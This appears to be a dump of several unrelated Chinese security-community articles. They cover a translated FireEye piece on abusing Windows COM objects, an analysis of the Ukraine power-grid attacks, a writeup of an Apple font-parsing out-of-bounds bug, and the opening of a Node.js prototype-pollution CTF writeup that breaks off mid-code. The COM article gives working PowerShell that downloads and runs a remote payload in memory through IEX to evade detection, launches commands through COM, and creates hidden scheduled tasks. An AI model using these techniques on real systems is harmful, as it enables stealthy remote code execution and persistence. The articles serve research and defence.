text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 玩转COM对象
##### 译文声明
本文是翻译文章，文章原作者 fireeye，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近一段时间，渗透测试人员、红队以及恶意攻击者都在横向移动中开始使用COM对象。之前已经有其他研究者研究过COM对象，比如Matt
Nelson（enigma0x3）。Matt在2017年发表了关于COM对象的一篇文章，Empire工程中也添加过几个COM对象。为了帮助红队加深对这方面内容的理解，FireEye对Windows
7和10系统上可用的COM对象进行了研究。我们发现了几个有趣的COM对象，这些对象可以用于计划任务、无文件下载执行以及命令执行。虽然这些对象本身并不是安全漏洞，但如果滥用起来可以绕过基于进程行为检测以及启发式特征检测的防御机制。
## 0x01 什么是COM对象
根据微软的[描述](https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model)，“微软组件对象模型（Component Object
Model，COM）是平台无关、分布式、面向对象的一种系统，可以用来创建可交互的二进制软件组件”。COM是微软OLE（复合文档）、ActiveX（互联网支持组件）以及其他组件的技术基础。
COM最早于1990年作为语言无关的二进制互通标准创建，允许独立代码模块能够彼此交互。代码模块交互可以出现于单进程或者跨进程场景，分布式COM（DCOM）还添加了序列化机制，允许通过网络进行远程过程调用（RPC）。
“COM对象”这个词指的是一个可执行代码section，其中实现了派生自`IUnknown`的一个或多个接口。`IUnknown`是包含3个方法的一个接口，支持对象生命周期引用技术以及发现其他接口。每个COM对象都对应于唯一的二进制标识符，这些全局唯一标识符为128比特（16字节），通常被称为`GUID`。当`GUID`用来标识某个COM对象时，就成为`CLSID`（类标识符），当用来标识某个接口时，就成为`IID`（接口标识符）。某些`CLSID`还包含可读的文本，即`ProgID`。
由于COM是一个二进制互通标准，因此COM对象在设计之初就可以通过不同语言来实现和使用。虽然COM对象通常会在调用进程的地址空间中进行实例化，但我们也可以在进程之外，通过进程间通信代理调用方式来运行，甚至也可以远程方式在不同机器之间运行。
Windows注册表中包含一组键值，可以使系统将一个CLSID映射到底层代码实现（在DLL或者EXE中），从而创建COM对象。
## 0x02 研究方法
`HKEY_CLASSES_ROOT\CLSID`这个注册表项中包含枚举COM对象所需的所有信息，包括CLSID以及ProgID。CLSID是与COM类对象关联的一个全局唯一标识符，ProgID是编程上方便使用的一个字符串，可以表示底层CLSID。
我们可以使用如下Powershell命令来获取CLSID列表：
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt
图1. 枚举HKCR表项中的CLSID
输出结果如图2所示。
{0000002F-0000-0000-C000-000000000046}
{00000300-0000-0000-C000-000000000046}
{00000301-A8F2-4877-BA0A-FD2B6645FB94}
{00000303-0000-0000-C000-000000000046}
{00000304-0000-0000-C000-000000000046}
{00000305-0000-0000-C000-000000000046}
{00000306-0000-0000-C000-000000000046}
{00000308-0000-0000-C000-000000000046}
{00000309-0000-0000-C000-000000000046}
{0000030B-0000-0000-C000-000000000046}
{00000315-0000-0000-C000-000000000046}
{00000316-0000-0000-C000-000000000046}
图2. 从HKCR中提取的部分CLSID列表
我们可以使用这个CLSID列表来依次实例化每个对象，然后枚举每个COM对象公开的方法和属性。PowerShell中包含一个`Get-Member`
cmdlet，可以用来获取某个对象对应的方法及属性。使用PowerShell脚本枚举该信息的过程如图3所示。在本次研究中，我们使用普通用户权限来模拟不具备管理员权限的场景，这是较为苛刻的场景。在这种场景下，我们可以深入了解当时可用的COM对象。
$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}
图3. 用来枚举可用方法及属性的PowerShell脚本
如果运行该脚本，我们可以会看到一些有趣的行为，比如任意应用被启动、系统冻结或者脚本被挂起。这些问题大多数可以通过关闭被启动的应用或者终止被生成的进程来解决。
获取所有CLSID以及对应的方法及属性后，我们可以开始搜索较为有趣的COM对象。大多数COM服务器（实现COM对象的代码）通常会在DLL中实现，而DLL的路径存放在注册表键值中（比如`InprocServer32`）。这一点非常有用，因为我们可能需要通过逆向分析来理解未公开的COM对象。
在Windows 7上，我们可以枚举到8,282个COM对象，Windows
10在这个基础上又新增了3,250个COM对象。非微软提供的COM对象通常会被忽略，因为我们无法保证这些对象在目标机器上同样存在，因此这些对象对红队所能提供的帮助也较为有限。我们在研究过程中也将来自Windows
SDK中的COM对象囊括在内，这样也能适用于开发者所使用的目标主机。
一旦获取对象所属成员，我们可以使用基于关键字的搜索方法，快速得到一些结果。在本次研究中，我们所使用的关键字为：`execute`、`exec`、`spawn`、`launch`以及`run`。
以`{F1CA3CE9-57E0-4862-B35F-C55328F05F1C}`这个COM对象（`WatWeb.WatWebObject`）为例，这是Windows
7上的一个COM对象，该对象会对外提供名为`LaunchSystemApplication`的一个方法，如图4所示：
图4. `WatWeb.WatWebObject`方法中包含一个有趣的`LaunchSystemApplication`方法
该对象对应的`InprocServer32`表项为`C:\windows\system32\wat\watweb.dll`，这是微软的WGA（Windows正版增值计划）产品密钥验证系统的一个组件。`LaunchSystemApplication`方法需要3个参数，但这个COM对象并没有详细公开的参考文档，因此我们需要进行逆向分析，此时我们需要涉及到一些汇编代码。
一旦我们使用拿手的工具（这里为IDA
Pro）加载`C:\windows\system32\wat\watweb.dll`后，我们就可以开始寻找定义该方法的具体位置。幸运的是，在这个对象中，微软公开了调试符号，这样逆向分析起来就更加方便。观察汇编代码，可以看到`LaunchSystemApplication`会调用`LaunchSystemApplicationInternal`，而与我们猜测的一致，后者会调用`CreateProcess`来启动应用。相关逻辑参考图5中Hex-Rays反编译器的伪代码结果：
图5. 在Hex-Rays伪代码中可以看到`LaunchSystemApplicationInternal`会调用`CreateProcessW`
但这个COM对象是否可以创建任意进程呢？用户可以控制传递给`CreateProcess`的参数，并且该参数派生自传递给上一级函数的参数。然而我们需要注意到一点，在调用`CreateProcess`之前，代码首先会调用`CWgpOobWebObjectBaseT::IsApprovedApplication`。该方法对应的Hex-Rays伪代码如图6所示。
图6. `IsApprovedApplication`方法对应的Hex-Rays伪代码
用户可控的字符串需要与特定的模式进行匹配。在这种情况下，该字符串必须匹配`slui.exe`。此外，用户可控的字符串会被附加到系统路径尾部，这意味着我们有必要替换真实的`slui.exe`来绕过这种检测机制。不幸的是，微软使用的这种校验机制使我们无法将该方法当成通用的进程启动方式。
在其他情况下，代码执行会更加简单一些。比如，`ProcessChain`类（对应的`CLSID`为`{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}`）的实现逻辑位于`C:\Program
Files (x86)\Windows Kits\10\App Certification
Kit\prchauto.dll`中。这个COM类分析起来非常方便，我们不需要查看任何反汇编代码，因为`prchauto.dll`中包含一个`TYPELIB`资源，其中包含一个COM类型库，可以使用[Oleview.exe](https://docs.microsoft.com/en-us/windows/desktop/com/ole-com-object-viewer)来查看。`ProcessChainLib`对应的类型库如图7所示，该库对外公开一个`CommandLine`类以及一个`Start`方法。`Start`方法参数接受对某个`Boolean`值的引用。
图7. 可以使用`Oleview.exe`的接口定义语言来分析`ProcessChainLib`对应的类型库
基于这些信息，我们可以通过图8方式来运行命令：
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)
图8. 使用`ProcessChainLib` COM服务器来启动进程
通过这种方式枚举和检查COM对象，我们还可以找到其他有趣的信息。
## 0x03 无文件下载及执行
比如，`F5078F35-C551-11D3-89B9-0000F81FE221}`这个COM对象（`Msxml2.XMLHTTP.3.0`）对外提供了一个XML
HTTP
3.0功能，可以用来下载任意代码并执行，无需将payload写入磁盘，也不会触发基于`System.Net.WebClient`的常用检测规则。XML
HTTP 3.0对象通常用来发起AJAX请求。在这种情况下，获取数据的方式非常简单，直接使用`Invoke-Expression`
cmdlet（`IEX`）即可。
如图9所示，我们可以在本地执行代码：
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;
图9. 不需要使用`System.Net.WebClient`实现的无文件下载
## 0x04 计划任务
还有`{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}`，这个COM对象实现了`Schedule.Service`类，用来操作Windows计划任务服务（Task
Scheduler
Service）。这个COM对象允许特权用户在目标主机上（包括远程主机）设定计划任务，无需使用`schtasks.exe`程序或者`at`命令。
$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)
function Convert-Date {
param(
[datetime]$Date
)
PROCESS {
$Date.Touniversaltime().tostring("u") -replace " ","T"
}
}
图10. 创建计划任务
## 0x05 总结
COM对象非常强大、功能丰富，并且已经集成到Windows系统中，这意味着这种功能基本上都是开箱可用的。COM对象可以用来绕过各种检测模式，包括命令行参数、PowerShell日志记录以及启发式检测。在后续文章中，我们将继续寻找其他有趣的COM对象。 | 社区文章 |
# 复盘网络战：乌克兰二次断电事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
乌克兰，位于欧洲东部，东接俄罗斯，西欧洲诸国相连。从地缘政治角度来看，这个“桥梁国家”，不断受到俄罗斯与欧洲之间的权力争夺。从历史来看，显而易见，在经过两次大规模“颜
色革命”后，乌克兰经济元气大伤，沦为全欧最穷国。
纵观乌克兰的发展历史，在乌克兰境内发生的网络战争在世界范围内独树一帜，无论是国内反对派的网络攻击，或是邻国的网络攻击，均在不间断的进行中，据外媒报道，乌克兰已经沦为俄罗斯的网络战试验场。
其中，影响力最大的一次网络攻击事件，时至今日仍然活在各类文章引用中的经典攻击案例，莫属二次 **乌克兰断电事件。**
而本文将结合最新线索，回顾并分析该典型网络战役背后的真实目的。
## 乌克兰断电事件回顾
停留在大多数人记忆中的乌克兰断电事件，还是2015年12月23日的那起断电事件，当时乌克兰首都基辅部分地区和乌克兰西部的 140
万名居民遭遇了一次长达数小时的大规模停电，至少三个电力区域被攻击，占据全国一半地区。
而当初的攻击背景是在克里米亚公投并加入俄罗斯联邦之后，因乌克兰与俄罗斯矛盾加剧，在网络攻击发生前一个月左右，乌克兰将克里米亚地区进行了断电。
对于那次攻击，乌克兰的Kyivoblenergo电力公司表示他们公司遭到BlackEnergy[1]网络入侵，因此导致7个110KV的变电站和23个35KV的变电站出现故障，从而导致断电。
本次乌克兰断电事件中，攻击者首先通过“主题为乌克兰总统对部分动员令”钓鱼邮件进行投递，在受害者点击并启用载有BlackEnergy的恶意宏文档后，
BlackEnergy在获取了相关凭证后，便开始进行网络资产探测，横向移动，并最终获得了SCADA系统的控制能力。
从而可以通过该系统，进行断路器操纵，并在攻击发生前，先使用KillDisk擦除入侵痕迹覆盖MBR和部分扇区的方式进行数据破坏，使得系统不能正常自启，阻止断电后的迅速恢复，此外据资料显示，Sandworm在发生攻击时还曾对客服中心发起dos攻击，阻止电力公司提前得知断电消息。
在做好以上准备后，断电攻击就此开始，这一断，“名流千史”。
攻击过程大致如下图所示[6]
事实上，在事件过去接近一年后，也就是2016年12月17日，乌克兰还发生了第二起断电事件，乌克兰国家电网运营商Ukrenergo的网络中被植入了一种被称为Industroyer或Crash
Override的恶意软件，利用已经部署好的恶意软件破坏了乌克兰首都基辅附近一个传输站的所有 **断路器** ，从而导致首都大部分地区断电。
而这次停电持续时间并不长，仅数十分钟，受影响的区域是乌克兰首都基辅北部及其周边地区。也许是由于本次的攻击不够前一次的力度大，或者是乌克兰对于电力系统的应急响应速度提升了等级，因此
Ukrenergo工程师在将设备切换为手工模式便开始恢复供电，75分钟后完全恢复供电。
## Sandworm组织分析
据ESET，Dragos等国外安全厂商研究表明，当初发起这两起电力系统攻击的APT组织，名称为Sandworm(沙虫)，别名TeleBots，组织来自俄罗斯，据Dragos[3]称，发起第二起电网攻击的团队名为ELECTRUM，属于Sandworm的分支攻击团队。
而关于该组织所使用的网络武器方面，经过奇安信威胁情报中心红雨滴团队安全分析人员的深入关联分析，并结合ESET的分析报告[2]，可知该组织曾经使用的有代表性的网络武器如下所示：
BlackEnergy，一个被各种犯罪团伙使用多年的工具。从一个DDoS（分布式拒绝服务）木马被Sandworm开发成一个拥有模块化结构的，整体架构十分复杂的恶意软件，专门用于进行入侵驻留等操作。
Industroyer，又名Crash Override[3]，是一个由一系列的攻击模块(多达十个)组成的模块化结构恶意软件，其中便有著名的实现西门子
SIPROTEC 设备 DoS 攻击模块，可导致其中继变得无响应，也就是第二次乌克兰断网攻击的关键武器。
NotPetya，一个专门用于数据擦除的，并且可以利用”永恒之蓝”系列漏洞进行横向传播的勒索软件，于2017年6月乌克兰遭受NotPetya勒索程序大规模攻击。包括首都基辅的鲍里斯波尔国际机场、乌克兰国家储蓄银行、船舶公司、俄罗斯石油公司和乌克兰一些商业银行以及部分私人公司、零售企业和政府系统都遭到了攻击。实际上NotPetya波及的国家还包括英国、印度、荷兰、西班牙、丹麦等。
GreyEnergy，被称为BlackEnergy的继承者[4]。GreyEnergy的恶意软件框架与BlackEnergy有许多相似之处，各模块均通过组织确认后才进行下发，其中模块都用于间谍和侦察目的（即后门，文件提取，截屏，键盘记录，密码和凭证窃取等）。
KillDisk，其为一种流行于黑客界近十年之久的数据破坏类恶意软件，起初作为BlackEnergy的一个专用于进行数据破坏的插件，后来被安全人员发现与NotPetya存在关联。
## 2016乌克兰断电事件新线索
从前些章节可得知，关于乌克兰在2015年的断电攻击事件相对来说为世人所知，并且细节披露的非常多，而2016年的乌克兰断电事件无论是后续还有攻击过程，都少了些许细节以及真实攻击目的。
从各种资料可得知，乌克兰第二次断电事件虽然攻击入口仍然是电子邮件或社会工程学攻击为主，但执行断电操作不再是人工发起，通过恶意软件样本硬编码的触发攻击的时间戳表明，恶意软件是脱离攻击者控制后，会在指定时间自动启动攻击。
此外本次的攻击者对电网内的工业控制协议，传输协议异常熟悉，从Industroyer的代码中可以发现，其包含针对以下四个电网通信协议的攻击模块：
• IEC 60870-5-101
• IEC 60870-5-104
• IEC 61850
• OLE for Process Control(OPC) Data Access (DA)
以上为一些已知线索，通过工业控制系统网络安全公司Dragos近日发布了一篇文章表明，他们重建了2016年乌克兰断电的时间线，希望能为寻找上述事件的根本原因获得一些线索。
在这篇题为《CRASHOVERRIDE: Reassessing the 2016 Ukraine Electric Power Event as a
Protection-Focused Attack》的文章[5]中，该研究团队重新分析并梳理了恶意软件的代码：
并重新访问分析了Ukrenergo电力公司的网络日志。
Siprotec保护继电器的Dos漏洞数据包
发起dos漏洞攻击的UDP包
最后得出结论：
Sandworm组织的意图是造成更大强度的物理破坏，可能计划将停电时间延长到数周到几个月的时间，甚至可能危及到现场工厂工人的生命。
Dragos分析师Joe
Slowik表示：“虽然这最终是一个直接的破坏性事件，但部署的工具和使用它们的顺序强烈表明，攻击者想要做的不仅仅是把灯关掉几个小时。他们试图创造条件，对目标传输站造成物理破坏。”
在这起攻击中，Sandworm组织利用Industroyer (Crash
Override)恶意软件，发送自动脉冲来触发断路器，进而利用由西门子生产的Siprotec保护继电器的Dos漏洞。
尽管在2015年该漏洞就已经发布了补丁，但是乌克兰的许多电力公司并没有更新系统，因此只需要发出一个电脉冲就能让保护继电器在休眠状态下失效。
研究人员通过日志复盘了Sandworm组织的攻击方式，具体如下：
首先，Sandworm组织部署了Industroyer (Crash Override)恶意软件；
然后他们用它来攻击基辅北部一个电网的所有断路器进而导致大规模停电；
**一小时后** ，他们推出了一个擦除数据的组件，并禁用了传输站的计算机，并防止工作人员监控任何站点的数字系统。
只有到那时，攻击者才会使用恶意软件的Siprotec的Dos漏洞模块，攻击对抗四个站点的保护继电器，同时打算默默地禁用那些监控故障情况的安全设备，从而可以使得工作人员根本没办法发现故障原因。
Dragos分析师认为，其最终目的是让Ukrenergo工程师通过匆忙重新启动该站的设备来应对停电。
然后，通过手动操作，在没有保护继电器故障保护的情况下，它们可能触发变压器或电力线中的危险电流过载。潜在的灾难性破坏，将导致对工厂能量传输的破坏，从而可以比仅停电一个小时的时间更多。同时，它也可能会伤害在电厂的工作人员。
但是，综合日志分析，后续的攻击和策略并未施展开，也并没有达成Sandworm组织原本的意图：断电更长的时间，因此研究人员认为，这起攻击是一次失败的行动。
原因可能是黑客制造的网络配置错误，也可能用于Ukrenergo保护中继的恶意数据包被发送到错误的IP地址；或者是Ukrenergo运营商可能比黑客预期更快地恢复供电；也可能是即使Siprotec攻击成功，但备用保护继电器可能已经成功阻止了电量过载，这些原因在没有足够的现场证据支撑下都无法确认。
但无论如何，该攻击事件的执行顺序，代表了当时最终尚未成功执行的战术目标。
因为Sandworm组织已经预测到电力公司的反应，即他们会手动恢复断电，并试图利用这个细节来扩大物理攻击的破坏。虽然最终目的没有达到，但是得知真相的那一刻仍骇人听闻。
## 总结
习近平总书记明确指出：“金融、能源、电力、通信、交通等领域的关键信息基础设施是经济社会运行的神经中枢，是网络安全的重中之重，也是可能遭到重点攻击的目标”。
这些基础设施一旦被攻击就可能导致交通中断、金融紊乱、电力瘫痪等问题，具有很大的破坏性和杀伤力。从世界范围来看，各个国家网络安全立法的核心就是保护关键基础设施。
而电力系统则更是关系着国家的命脉、社会的稳定发展以及人们的日常生活，对于网络安全必须加以重视。
从乌克兰二次断电事件来看，首先工作人员的安全意识不足，这是根，其次系统存在漏洞但是没有定期进行更新，这是祸，埋下祸根，网络攻击则必然成功。
在如今国际关系复杂时期，网络战已经成为国家之间网络对抗家常饭，其中对于关键信息基础设施应对，参考乌克兰断电事件可知，网军并不是非要获取到多少关于基础设施的秘密信息，而单纯就是想要破坏他，这也和Wannacry出发点一样，目的就是破坏。
因此，对于会造成破坏性行为的漏洞，同样务必加以重视，尤其是会造成Dos攻击，造成系统应用或设备无法正常工作的漏洞，能造成机械设备损坏的漏洞，毕竟这些漏洞，可以造成网络攻击抵达物理打击层面，对于远程精准打击将会是强而有力的战略举措。
奇安信威胁情报中心最后建议，电力公司应该组建专业的安全维护人员和安全运营团队，必须清楚地了解各个工控协议的使用状况，才能更好的识别网络异常流量从而及时告警，并且对于网络控制的设备，例如继电器，断路器这类会严重影响系统正常运作的设备，务必做好防护措施，并在每个细节做到安全，从而抵御境外势力网军的APT攻击。
## 参考链接
[1] <https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/>
[2] <https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/>
[3] <https://dragos.com/wp-content/uploads/CrashOverride-01.pdf>
[4] https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/
[5] <https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf>
[6]
<https://www.nerc.com/pa/CI/ESISAC/Documents/E-ISAC_SANS_Ukraine_DUC_18Mar2016.pdf> | 社区文章 |
作者: **riusksk@tsrc**
时间: 2016-12-18
### 前言
2016年12月的Apple安全公告中(macOS公告与iOS公告)，修复4个由腾讯安全平台部终端安全团队报告的漏洞，其中有2个是字体解析造成的越界访问漏洞，影响
macOS/iOS/watchOS/tvOS等多个平台系统，本文主要分析其中的 CVE-2016-7595 字体漏洞【图1】。
图1
这个漏洞在报给Apple 17天后发布 macOS 10.2.2
测试版补丁，一个半月后发布安全公告和补丁(包括iOS、watchOS和tvOS)，难得看见苹果这么积极一次。
### 漏洞分析
此次漏洞是通过Fuzzing发现的，直接对比poc与原始文件的数据，可以发现其实就1个字节的差异(0x00 => 0x6C)【图2】:
图2 用ttx命令分析字体格式:
╭─riusksk@MacBook ~/Downloads ‹›
╰─➤$ ttx poc.ttf
Dumping "poc.ttf" to "poc#1.ttx"...
Dumping 'GlyphOrder' table...
Dumping 'head' table...
Dumping 'hhea' table...
Dumping 'maxp' table...
Dumping 'OS/2' table...
Dumping 'hmtx' table...
Dumping 'cmap' table...
Dumping 'fpgm' table...
Dumping 'prep' table...
Dumping 'cvt ' table...
Dumping 'loca' table...
Dumping 'glyf' table...
Dumping 'name' table...
Dumping 'post' table...
Dumping 'gasp' table...
/usr/local/lib/python2.7/site- packages/FontTools/fontTools/ttLib/tables/otTables.py:60: UserWarning:
Coverage table has start glyph ID out of range: glyph27713.
warnings.warn("Coverage table has start glyph ID out of range: %s." %
start)
An exception occurred during the decompilation of the 'GPOS' table
Dumping 'GPOS' table...
Dumping 'GSUB' table...
Dumping 'DSIG' table...
从上面的提示可以看出，是在解析 `GPOS` 表时，通过 `glyphID` 去 Coverage 表索引时导致越界了，其中 `glyph27713`
的数值正是 `0x6C41 27713` ,也就是上面图1中文件对比
的差异值。虽然这是FontTools工具的错误，不代表Apple系统本身，但它跟Apple系统
导致崩溃的是同一字节，从这可以直接得到导致崩溃的关键字节是glyphID值。
#### GPOS表
TrueType/OpenType字体格式中的GPOS表是用于为字体中文本布局及渲染提供glyph位 置信息的表，表中各个字体结构如图3所示
图3
GPOS表主要包含3个子表:ScriptList、FeatureList和LookupList，本次漏洞主要问题在
LookupList子表中的PairAdjustmentPositioning中，PairAdjustmentPositioning子表
(PairPos)被用于调整两个glyphs彼此之间的位置。
PairPos表下又包含多个PairSet数组，PairSet数组包含Coverage表中每个glyph对应的偏 移量，并按Coverage
Index来排序。
PairSet下包含PairValueRecord指定每一glyph配对(pair)中的第二个
glyph(SecondGlyph)的glyph名和索引值GlyphID(对应【图3】中glyphRefID)，同
时包含两个ValueRecord值去指定第一个glyph和第二个glyph的位置信息。
导致越界的漏洞正是用于索引的GlyphID(glyphRefID)，用ttx解析原有正常字体文件
生成的xml文件，如图4所示，index="65"就是正常GlyphID值 00 41，如果随便给第1字 节设置个值都会导致崩溃。
图3
#### 调试
用lldb调试下，崩溃后的地址及栈回溯如下:
(lisa)run poc.ttf
Process 96714 launched
Process 96714 stopped
* thread #1: tid = 0x3f119d, 0x00007fffa7c01491 CoreText`OTL::GPOS::App
lyPairPos(OTL::LookupSubtable const*, TGlyphIterator&, OTL::Coverage co
nst&) const + 411, queue = 'com.apple.main-thread', stop reason = EXC_B
AD_ACCESS (code=1, address=0x3007ddfae)
frame #0: 0x00007fffa7c01491 CoreText`OTL::GPOS::ApplyPairPos(OTL::Lo
okupSubtable const*, TGlyphIterator&, OTL::Coverage const&) const + 411
CoreText`OTL::GPOS::ApplyPairPos:
-> 0x7fffa7c01491 <+411>: mov ax, word ptr [r14 + 2*rax + 0xa]
0x7fffa7c01497 <+417>: rol ax, 0x8
0x7fffa7c0149b <+421>: movzx eax, ax
0x7fffa7c0149e <+424>: lea rsi, [r14 + rax]
(lisa)register read rax
rax = 0x00000000ffffffff
(lisa)x $r14+2*$rax+0xa
error: memory read failed for 0x3007c5600
(lisa)bt
* thread #1: tid = 0x3f119d, 0x00007fffa7c01491 CoreText`OTL::GPOS::App
lyPairPos(OTL::LookupSubtable const*, TGlyphIterator&, OTL::Coverage co
nst&) const + 411, queue = 'com.apple.main-thread', stop reason = EXC_B
AD_ACCESS (code=1, address=0x3007ddfae)
* frame #0: 0x00007fffa7c01491 CoreText`OTL::GPOS::ApplyPairPos(OTL::Lo
okupSubtable const*, TGlyphIterator&, OTL::Coverage const&) const + 411
frame #1: 0x00007fffa7c05907 CoreText`OTL::GPOS::ApplyLookupSubtable(
OTL::Lookup const&, unsigned int, OTL::LookupSubtable const*, TGlyphIte
rator&, OTL::Coverage const&) const + 85
frame #2: 0x00007fffa7c02c7b CoreText`OTL::GPOS::ApplyLookupAt(OTL::L
ookup const&, TGlyphIterator&) const + 339
frame #3: 0x00007fffa7b68ff4 CoreText`OTL::GPOS::ApplyLookups(TRunGlu
e&, int, OTL::GlyphLookups&) const + 448
frame #4: 0x00007fffa7b68897 CoreText`TOpenTypePositioningEngine::Pos
itionRuns(SyncState&, KerningStatus&) + 839
frame #5: 0x00007fffa7b66d05 CoreText`TKerningEngine::PositionGlyphs(
TLine&, TCharStream const*) + 347
frame #6: 0x00007fffa7bbe59d CoreText`TTypesetter::FinishLayout(std::
__1::tuple<TLine const*, TCharStream const*, void const* (*)(__CTRun co
nst*, __CFString const*, void*), void*, std::__1::shared_ptr<TBidiLevel
sProvider>*, unsigned int, unsigned char> const&, TLine&, SyncState) +
35
frame #7: 0x00007fffa7b5586d CoreText`TTypesetterAttrString::Initiali
ze(__CFAttributedString const*) + 865
frame #8: 0x00007fffa7b552ea CoreText`CTLineCreateWithAttributedStrin
g + 59
frame #9: 0x00007fffb8be086e UIFoundation`__NSStringDrawingEngine + 1
0669
frame #10: 0x00007fffb8be69ca UIFoundation`-[NSAttributedString(NSExt
endedStringDrawing) boundingRectWithSize:options:context:] + 605
frame #11: 0x00007fffb8bdcc43 UIFoundation`-[NSAttributedString(NSStr
ingDrawing) size] + 59
frame #12: 0x0000000100047d70 Font Book`___lldb_unnamed_symbol1053$$F
ont Book + 368
frame #13: 0x00000001000476e9 Font Book`___lldb_unnamed_symbol1052$$F
ont Book + 89
frame #14: 0x00000001000475b0 Font Book`___lldb_unnamed_symbol1049$$F
ont Book + 774
frame #15: 0x000000010006a2d2 Font Book`___lldb_unnamed_symbol1860$$F
ont Book + 110
frame #16: 0x000000010005d4ee Font Book`___lldb_unnamed_symbol1545$$F
ont Book + 2651
frame #17: 0x00007fffa46b2451 AppKit`-[NSApplication _doOpenFile:ok:t
ryTemp:] + 253
frame #18: 0x00007fffa427f789 AppKit`-[NSApplication finishLaunching]
+ 1624
frame #19: 0x00007fffa427ed2a AppKit`-[NSApplication run] + 267
frame #20: 0x00007fffa4249a8a AppKit`NSApplicationMain + 1237
frame #21: 0x0000000100001527 Font Book`___lldb_unnamed_symbol1$$Font
Book + 11
frame #22: 0x00007fffbb632255 libdyld.dylib`start + 1
frame #23: 0x00007fffbb632255 libdyld.dylib`start + 1
`[r14 + 2*rax + 0xa]` 索引错误，很典型的数组越界指令。
通过设置条件断点去记录获取的GlyphID以及后面的将其传参给
OTL::Coverage::SearchFmt2Binary函数后返回值，可以发现最后当GlyphID=0x55(85)时
返回值0，最后触发崩溃，所以样本中的GlyphID只要>=0x55都会导致崩溃。
(lisa) p "GlyphID" $eax
(unsigned int) $95 = 85
(lisa) c
Process 25648 resuming
Command #2 'c' continued the target.
(lisa) p "SearchFmt2Binary 2" $esi (unsigned int) $96 = 85
(lisa) c
Process 25648 resuming
Command #2 'c' continued the target. (lisa) p " " $eax
(unsigned int) $97 = 0
(lisa) c
Process 25648 resuming
Command #2 'c' continued the target.
Process 25648 stopped
* thread #1: tid = 0x43fc6, 0x00007fffcb443491 CoreText`OTL::GPOS::Appl
yPairPos(OTL::LookupSubtable const*, TGlyphIterator&, OTL::Coverage con
st&) const + 411, queue = 'com.apple.main-thread', stop reason = EXC_BA
D_ACCESS (code=1, address=0x3007bc6fe)
frame #0: 0x00007fffcb443491 CoreText`OTL::GPOS::ApplyPairPos(OTL::
LookupSubtable const*, TGlyphIterator&, OTL::Coverage const&) const + 4
11
CoreText`OTL::GPOS::ApplyPairPos:
-> 0x7fffcb443491 <+411>: mov ax, word ptr [r14 + 2*rax + 0xa]
0x7fffcb443497 <+417>: rol ax, 0x8
0x7fffcb44349b <+421>: movzx eax, ax
0x7fffcb44349e <+424>: lea rsi, [r14 + rax]
返回值为0时，经dec减1后为0xFFFFFFFF，以此为索引值，最后导致越界访问。
dec eax ; eax=0xFFFFFFFF
mov ax, [r14+rax*2+0Ah] ;
### 漏洞修复
苹果已经发布安全补丁，macOS用户可升级到10.12.2，iOS用户可升级到10.2。
对补丁进行比对，可以发现在漏洞函数OTL::GPOS::ApplyPairPos 中添加了判断，获取
到的GlyphID值传递给OTL::Coverage::SearchFmt2Binary函数，当查找失败时会返回0，
因此只要添加判断返回值是否为0，为0则直接跳走返回。
### 处理流程
1. 2016-10-23 通过邮件提交给Apple
2. 2016-11-09 Apple确认漏洞，并在 macOS Sierra 10.12.2 beta 测试版中修复
3. 2016-12-09 分配CVE号:CVE-2016-7595
4. 2016-12-14 Apple发布安全公告，并推送补丁
* * * | 社区文章 |
**作者：Threezh1
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 前言
这次在打X-AUCN2020比赛过程中遇到了一道Nodejs原型链污染的题，赛后看到0ops的师傅竟然可以污染任意值，所以想对这个过程进行再次的分析梳理。
题目中的污染空值过程与污染任意值的payload均参考于比赛中的Writeup： <https://github.com/NeSE-Team/XNUCA2020Qualifier/tree/main/Web/oooooooldjs>
## 测试用例
测试例子:
const express = require('express')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim() // 对所以键值进行trim处理
]
app.use(middlewares)
app.post("/user", (req, res) => {
const foo = "hellowrold"
return res.status(200).send(foo)
})
app.listen(port, () => {
